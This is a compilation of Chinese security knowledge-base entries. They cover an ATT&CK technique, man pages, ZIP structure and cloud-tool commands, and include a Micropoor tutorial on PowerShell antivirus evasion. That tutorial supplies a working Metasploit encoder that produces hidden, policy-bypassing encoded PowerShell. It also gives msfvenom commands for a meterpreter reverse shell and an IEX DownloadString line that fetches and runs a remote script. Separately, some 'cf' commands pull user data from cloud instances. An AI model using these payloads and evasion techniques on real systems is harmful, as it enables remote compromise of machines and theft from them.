# T1608-003-阶段性能力-安装数字证书 ## 来自ATT&CK的描述 攻击者可能会安装SSL/TLS证书,在攻击过程中可以使用。SSL/TLS证书是可以安装在服务器上的文件,以实现系统之间的安全通信。数字证书包括关于密钥的信息,关于其所有者身份的信息,以及一个实体的数字签名,该实体已经验证了证书的内容是正确的。如果签名是有效的,并且检查证书的人信任签名者,那么他们知道他们可以使用该钥匙与它的所有者进行安全通信。证书可以被上传到服务器上,然后服务器可以被配置为使用证书来实现与它的加密通信。 攻击者可能会安装SSL/TLS证书,用来推进他们的行动,如加密C2流量(例如:网络协议的非对称加密法),或将可信度借给证书采集网站。数字证书的安装可能发生在一些服务器类型上,包括网络服务器和电子邮件服务器。 攻击者可以获得数字证书或创建自签名的证书。然后,数字证书可以被安装在攻击者控制的基础设施上,这些基础设施可能是已经获得的(购买基础设施)或以前被破坏的(盗取基础设施)。 ## 测试案例 暂无 ## 检测日志 无法有效监测 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 ### 缓解措施 这种技术不容易用预防控制来缓解,因为它是基于企业防御和控制范围之外的行为。 ### 检测 考虑使用可能有助于跟踪整个互联网上的网站所使用的证书的服务。在某些情况下,有可能以已知的证书信息为支点,发现其他攻击者的基础设施。 检测工作可以集中在相关行为上,如网络协议或非对称密码学。 ## 参考推荐 MITRE-ATT&CK-T1608-003 <https://attack.mitre.org/techniques/T1608/003/>
sec-knowleage
**知识点介绍:** Windows PowerShell是以.NET Framework技术为基础,并且与现有的WSH保持向后兼容,因此它的脚本程序不仅能访问.NET CLR,也能使用现有的COM技术。同时也包含了数种系统管理工具、简易且一致的语法,提升管理者处理,常见如登录数据库、WMI。Exchange Server 2007以及System Center Operations Manager 2007等服务器软件都将内置Windows PowerShell。Windows PowerShell的强大,并且内置,在渗透过程中,也让渗透变得更加有趣。而安全软件的对抗查杀也逐渐开始针对powershell的一切行为。在 https://technet.microsoft.com,看到文档如下: > Here is a listing of the available startup parameters: -Command Specifies the command text to execute as though it were typed at the PowerShell command prompt. -EncodedCommand Specifies the base64-encoded command text to execute. -ExecutionPolicy Sets the default execution policy for the console session. -File Sets the name of a script file to execute. -InputFormat Sets the format for data sent to PowerShell as either text string or serialized XML. The default format is XML. Valid values are text and XML. -NoExit Does not exit after running startup commands. This parameter is useful when you run PowerShell commands or scripts via the command prompt(cmd.exe). -NoLogo Starts the PowerShell console without displaying the copyright banner. -Noninteractive Starts the PowerShell console in non-interactive mode. In this mode, PowerShell does not present an interactive prompt to the user. -NoProfile Tells the PowerShell console not to load the current user’s profile. -OutputFormat Sets the format for output as either text string or serialized XML. The default format is text. Valid values are text and XML. -PSConsoleFile Loads the specified Windows PowerShell console file. Console files end with the .psc1 extension and can be used to ensure that specific snap-in extensions are loaded and available. You can create a console file using Export-Console in Windows PowerShell. -Sta Starts PowerShell in single-threaded mode. -Version Sets the version of Windows PowerShell to use for compatibility,such as 1.0. -WindowStyle Sets the window style as Normal, Minimized, Maximized, or Hidden. The default is Normal. 针对它的特性,本地测试: > Add-Type -AssemblyName PresentationFramework; >[System.Windows.MessageBox]::Show('Micropoor') ![](media/faf8154c646ab4aa837ebb8d5d99ae78.jpg) ![](media/e1f2fb4edc10e83ae5f2c2f51d6ead38.jpg) 上文所说,越来越多的杀软开始对抗,powershell的部分行为,或者特征。以msfvenom为例,生成payload。 ![](media/7eec22528d589cc79d6af609182206e7.jpg) micropoor.ps1不幸被杀。 ![](media/90aeb138701d59ba01c5497d2c9d978e.jpg) 针对powershell特性,更改payload ![](media/12ee496efb54f3670b111d3be3cde056.jpg) ![](media/55da22835d354321eba9b36ebf36128d.jpg) 接下来考虑的事情是如何把以上重复的工作变成自动化,并且针对powershell,DownloadString特性,设计出2种payload形式: (1)目标机出网 (2)目标机不出网 并且根据需求,无缝连接Metasploit。 根据微软文档,可以找到可能对以上有帮助的属性,分别为: * Window * Style * NoExit EncodedCommand * exec 自动化实现如下: ```ruby # copy base64.rb to metasploit-framework/embedded/framework/modules/encoders/powershell.If powershell is empty,mkdir powershell. # E.g # msf encoder(powershell/base64) > use exploit/multi/handler # msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp # payload => windows/x64/meterpreter/reverse_tcp # msf exploit(multi/handler) > exploit # msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows. # [*] Started reverse TCP handler on xx.1xx.xx.xx:xx class MetasploitModule < Msf::Encoder Rank = NormalRanking def initialize super( 'Name' => 'Powershell Base64 Encoder', 'Description' => %q{ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows. }, 'Author' => 'Micropoor', 'Arch' => ARCH_CMD, 'Platform' => 'win') register_options([ OptBool.new('payload', [ false, 'Use payload ', false ]), OptBool.new('x64',[ false, 'Use syswow64 powershell', false ]) ]) end def encode_block(state, buf) base64 = Rex::Text.encode_base64(Rex::Text.to_unicode(buf)) cmd = '' if datastore['x64'] cmd += 'c:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe ' else cmd += 'powershell.exe ' end if datastore['payload'] cmd += '-windowstyle hidden -exec bypass -NoExit ' end cmd += "-EncodedCommand \#{base64}" end end # if use caidao # execute echo powershell -windowstyle hidden -exec bypass -c \""IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.117/xxx.ps1');\""|msfvenom -e x64/xor4 --arch x64 --platform windows # xxx.ps1 is msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows. ``` >copy powershell_base64.rb to metasploit‐framework/embedded/framework/modules/encoders/powershell.If powershell is empty,mkdir powershell. 参数 payload 选择是否使用 Metasploit payload,来去掉 powershell 的关键字。 例1(目标出网,下载执行): ```bash echo powershell ‐windowstyle hidden ‐exec bypass ‐c \""IEX (New‐ObjectNet.WebClient).DownloadString('http://192.168.1.117/micropoor.ps1');\""|msfvenom ‐e powershell/base64 ‐‐arch x64 ‐‐platform windows ``` ![](media/837e8a66210018c4e7891f7cc44ae8dc.jpg) ![](media/3101ba162d3677409f14f2e6f58a5d2d.jpg) 例2(目标不出网,本地执行) ![](media/274ee525bf8c174b256047a449e2165c.jpg) ### 注:加payload参数 ```bash msfvenom ‐p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.117 LPORT=8080 ‐f psh‐reflection ‐‐arch x64 ‐‐platform windows | msfvenom ‐e powershell/base64 ‐‐arch x64 ‐‐platform windows payload ``` 更多有趣的实验: 把例1的 down 内容更改为例2,并且去掉 payload 参数。来减小 payload 大小。 更改 Invoke-Mimikatz.ps1 等。 ![](media/1668ff8230cc690822b002a58bed23b7.jpg) > Micropoor
sec-knowleage
.\" Copyright 1993 Giorgio Ciucci (giorgio@crcc.it) .\" .\" Permission is granted to make and distribute verbatim copies of this .\" manual provided the copyright notice and this permission notice are .\" preserved on all copies. .\" .\" Permission is granted to copy and distribute modified versions of this .\" manual under the conditions for verbatim copying, provided that the .\" entire resulting derived work is distributed under the terms of a .\" permission notice identical to this one .\" .\" Since the Linux kernel and libraries are constantly changing, this .\" manual page may be incorrect or out-of-date. The author(s) assume no .\" responsibility for errors or omissions, or for damages resulting from .\" the use of the information contained herein. The author(s) may not .\" have taken the same level of care in the production of this manual, .\" which is licensed free of charge, as they might when working .\" professionally. .\" .\" Formatted or processed versions of this manual, if unaccompanied by .\" the source, must acknowledge the copyright and authors of this work. .TH IPC 5 "November 1, 1993" "Linux 0.99.13" "Linux Programmer's Manual" .SH NAME ipc \- System V 进程间通信机制 .SH SYNOPSIS 总览 .nf .B # include <sys/types.h> .B # include <sys/ipc.h> .B # include <sys/msg.h> .B # include <sys/sem.h> .B # include <sys/shm.h> .SH DESCRIPTION 本手册页涉及 System V 进程间通信机制在 Linux 下的实现: 消息队列, 信号灯集合, 以及共享内存段. 下面提到 .B 资源 时, 就是指上面这些通信机制中的一种. .SS 资源访问权限 对每个资源, 系统用一个共有的 .BR "struct ipc_perm" 结构来存放权限信息, 以确定一个 ipc 操作是否可访问该资源. 在 .I <sys/ipc.h> 中定义了 .B ipc_perm, 其成员如下: .sp .B ushort cuid; /* 创建者 uid */ .br .B ushort cgid; /* 创建者 gid */ .br .B ushort uid; /* 所有者 uid */ .br .B ushort gid; /* 所有者 gid */ .br .B ushort mode; /* 读/写权限 */ .PP 结构 .B ipc_perm 的成员 .B mode 的低九位定义了对该资源的访问许 可, 以确定一个执行了 ipc 系统调用的进程能否访问该资源. 其解 释如下: .sp .nf 0400 用户可读. 0200 用户可写. .sp .5 0040 组成员可读. 0020 组成员可写. .sp .5 0004 其他用户可读. 0002 其他用户可写. .fi .PP 系统没有使用执行位 0100, 0010 和 0001. 另外, 这里的 "可写" 等 效于信号灯集合里的 "可更改". .PP 在 .I <sys/ipc.h> 系统头文件里还定义了如下符号常数: .TP 14 .B IPC_CREAT 如果 key 不存在就创建. .TP .B IPC_EXCL 如果 key 已经存在则失败. .TP .B IPC_NOWAIT 如果请求必须等待, 产生错误. .TP .B IPC_PRIVATE 私有 key. .TP .B IPC_RMID 删除资源. .TP .B IPC_SET 设置资源选项. .TP .B IPC_STAT 取得资源选项. .PP 请注意 .B IPC_PRIVATE 是一个 .B key_t 类型, 而别的符号常数都是标志域,它们的可以或( OR )在一起形成 .B int 类型. .SS 消息队列 消息队列由正整数 .RI "(它的 " msqid ) 唯一标识, 其结构体 .BR "struct msquid_ds" 在 .IR <sys/msg.h> 中定义, 包含如下成员: .sp .B struct ipc_perm msg_perm; .br .B ushort msg_qnum; /* 队列中消息数目 */ .br .B ushort msg_qbytes; /* 一条队列最大字节数 */ .br .B ushort msg_lspid; /* 上一次 msgsnd 调用的 pid */ .br .B ushort msg_lrpid; /* 上一次 msgrcv 调用的 pid */ .br .B time_t msg_stime; /* 上一次 msgsnd 的时间 */ .br .B time_t msg_rtime; /* 上一次 msgrcv 的时间 */ .br .B time_t msg_ctime; /* 上一次修改时间 */ .TP 11 .B msg_perm .B ipc_perm 结构, 指明了对该消息队列的访问权限. .TP .B msg_qnum 该队列当前的消息总数. .TP .B msg_qbytes 该队列所允许的消息正文最大字节总数. .TP .B msg_lspid 最后做 .B msgsnd 系统调用的进程的 ID. .TP .B msg_lrpid 最后做 .B msgrcv 系统调用的进程的 ID. .TP .B msg_stime 最近做 .B msgsnd 系统调用的时间. .TP .B msg_rtime 最近做 .B msgrcv 系统调用的时间. .TP .B msg_ctime 最后一次改变 .B msqid_ds 结构成员的时间. .SS 信号灯集合 信号灯集合由正整数 .RI "(它的 " semid ) 唯一标识, 并有一个与之关联的结构体 .BR "struct semid_ds" 它在 .IR <sys/sem.h> 中定义, 包含如下成员: .sp .B struct ipc_perm sem_perm; .br .B time_t sem_otime; /* 上一次操作的时间 */ .br .B time_t sem_ctime; /* 上一次修改的时间 */ .br .B ushort sem_nsems; /* 集合中信号灯数目 */ .TP 11 .B sem_perm .B ipc_perm 结构, 指明对该信号灯集合的访问权限. .TP .B sem_otime 最近做 .B semop 系统调用的时间. .TP .B sem_ctime 最近做 .B semctl 系统调用的时间, 该调用修改了上面结构的一个成员 或者改变了属于该集合的一个信号灯. .TP .B sem_nsems 该信号灯集合的信号灯数目. 集合中每个信号灯都可以用从 .B 0 到 .BR sem_nsems\-1 的一个非负整数来引用. .PP 一个信号灯就是一个 .B "struct sem" 结构, 包含如下成员: .sp .B ushort semval; /* 信号灯值 */ .br .B short sempid; /* 上一次操作的进程的 pid */ .br .B ushort semncnt; /* 等待增加 semval 值的进程数目 */ .br .B ushort semzcnt; /* 等待 semval = 0 的进程数目 */ .TP 11 .B semval 该信号灯值,是一个非负整数. .TP .B sempid 最后一个对该信号灯做操作的进程 ID. .TP .B semncnt 等待增加 .B semval 的进程数. .TP .B semznt 等待 .B semval 变成 0 的进程数. .SS 共享内存段 共享内存段由正整数 .RI "(它的 " shmid ) 唯一标识, 有一个关联的结构类型 .BR "struct shmid_ds" 在 .IR <sys/shm.h> 中定义, 包含如下成员: .sp .B struct ipc_perm shm_perm; .br .B int shm_segsz; /* 段尺寸 */ .br .B ushort shm_cpid; /* 创建者 pid */ .br .B ushort shm_lpid; /* 上一次操作的进程的 pid */ .br .B short shm_nattch; /* 目前附着的进程数目 */ .br .B time_t shm_atime; /* 上一次附着的时间 */ .br .B time_t shm_dtime; /* 上一次脱离的时间 */ .br .B time_t shm_ctime; /* 上一次修改的时间 */ .TP 11 .B shm_perm .B ipc_perm 结构, 指明对共享内存段的访问权限. .TP .B shm_segsz 共享内存段的大小, 以字节为单位. .TP .B shm_cpid 创建该共享内存段的进程的 ID. .TP .B shm_lpid 最后执行 .B shmat 或者 .B shmdt 系统调用的进程 ID. .TP .B shm_nattch 当前对该共享内存段的活跃连接数. .TP .B shm_atime 最后做 .B shmat 系统调用的时间. .TP .B shm_dtime 最后做 .B shmdt 系统调用的时间. .TP .B shm_ctime 最后做 .B shmctl 系统调用的时间, 如果该调用改变了 shmid_ds. .SH "又见" .BR ftok (3), .BR msgctl (2), .BR msgget (2), .BR msgrcv (2), .BR msgsnd (2), .BR semctl (2), .BR semget (2), .BR semop (2), .BR shmat (2), .BR shmctl (2), .BR shmget (2), .BR shmdt (2). .SH "[中文版维护人]" .B name <email> .SH "[中文版最新更新]" .BR 2001/02/02 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# ZIP --- * ZIP 文件头 `50 4B 03 04 0A 00 00 00` * ZIP 文件尾 `50 4B 05 06 00 00 00 00 + 其他字符` --- Zip文件主要由三部分构成,分别为 * 压缩源文件数据区 * 压缩源文件数据区中每一个压缩的源文件/目录都是一条记录,其中 * local file header:文件头用于标识该文件的开始,记录了该压缩文件的信息,这里的文件头标识由固定值 50 4B 03 04 开头,也是 Zip 的文件头的重要标志 * file data:文件数据记录了相应压缩文件的数据 * data descriptor:数据描述符用于标识该文件压缩结束,该结构只有在相应的 local file header 中通用标记字段的第3 bit设为 1 时才会出现,紧接在压缩文件源数据后 * 核心目录 * 记录了压缩文件的目录信息,在这个数据区中每一条纪录对应在压缩源文件数据区中的一条数据。 * 目录结束 * 目录结束标识存在于整个归档包的结尾,用于标记压缩的目录数据的结束。每个压缩文件必须有且只有一个EOCD记录。 --- ## Source & Reference - [CTF-MISC总结](https://ares-x.com/2017/11/07/CTF-Misc%E6%80%BB%E7%BB%93/)
sec-knowleage
--- title: 一键获得用户数据 --- ## 在阿里云上一键获得用户数据 使用 `-u` 命令一键获得用户数据 ```bash cf alibaba ecs exec -u ``` 指定单个实例获取用户数据 ```bash cf alibaba ecs exec -u -i i-abcdefghijklmn ``` ## 在腾讯云上一键获得用户数据 ### 云服务器 ```bash cf tencent cvm exec -u ``` ### 轻量应用服务器 ```bash cf tencent lh exec -u ``` <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年9月7日" } } </script>
sec-knowleage
.\" Copyright 1995-1996 David Engel (david@ods.com) .\" Copyright 1995 Rickard E. Faith (faith@cs.unc.edu) .\" Most of this was copied from the README file. Do not restrict distribution. .\" May be distributed under the GNU General Public License .TH LDD 1 "30 March 1995" .SH NAME ldd \- 显示共享库的依赖情况 .SH "总览 (SYNOPSIS)" .B ldd .RB [ \-vVdr ] program ... .SH "描述 (DESCRIPTION)" .B ldd 显示 每个 程序 需要 的 共享库 (shared library), 程序名 在 命令行 上 给出. .PP 对于 a.out 程序, .B ldd 简单的 进行 fork 和 exec 各个 程序, 执行 程序 时 argc 参数 等于零, a.out 的 动态连接器 (dynamic linker) .BR ld.so , 正常情况下 能够 调入 共享库, 注意到 这个 特殊情况, 从而 显示出 依赖关系. .PP 对于 ELF 程序, .B ldd 设置 适当的 环境变量集, 然后 fork 和 exec 各个 程序. ELF 的 动态连接器, .BR ld-linux.so , 正常情况下 能够 调入 共享库, 注意到 这个 特殊情况, 从而 显示出 依赖关系. .SH "选项 (OPTIONS)" .TP .B \-v 显示 .BR ldd 的 版本号. .TP .B \-V 显示 动态连接器 .BR ld.so 的 版本号. .TP .B \-d 进行 重定位(relocation), 而且 报告 缺少的 函数 (仅限于 ELF). .TP .B \-r 对 数据目标 (data object) 和 函数 进行 重定位, 而且 报告 缺少的 数据目标 (仅限于 ELF). .SH BUGS 对于 非常 陈旧 的 程序, .B ldd 可能 .I 无法 工作, 这些 程序 在 .B ldd 加入 编译器工具 之前 就 连接 好了. 如果 对 这样的 某个 程序 执行 .B ldd , 该 程序 的 argc = 0, 其 运行结果 无法 预测. .SH "作者 (AUTHOR)" David Engel. .SH "另见 (SEE ALSO)" .BR ldconfig (8), .BR ld.so (8), .BR ld.so.info . .SH "[中文版维护人]" .B 徐明 <xuming@users.sourceforge.net> .SH "[中文版最新更新]" .BR 2003/05/13 第一版 .SH "《中国Linux论坛man手册页翻译计划》" .BI http://cmpp.linuxforum.net
sec-knowleage
from library import * i, o, t = load_npz(sys.argv[1]) normalize(t) smooth(t, 25) align_fft(t, 35000) i, o, t = filter_corr(i, o, t, 0.4) print len(t) save_npz(sys.argv[2], i, o, t)
sec-knowleage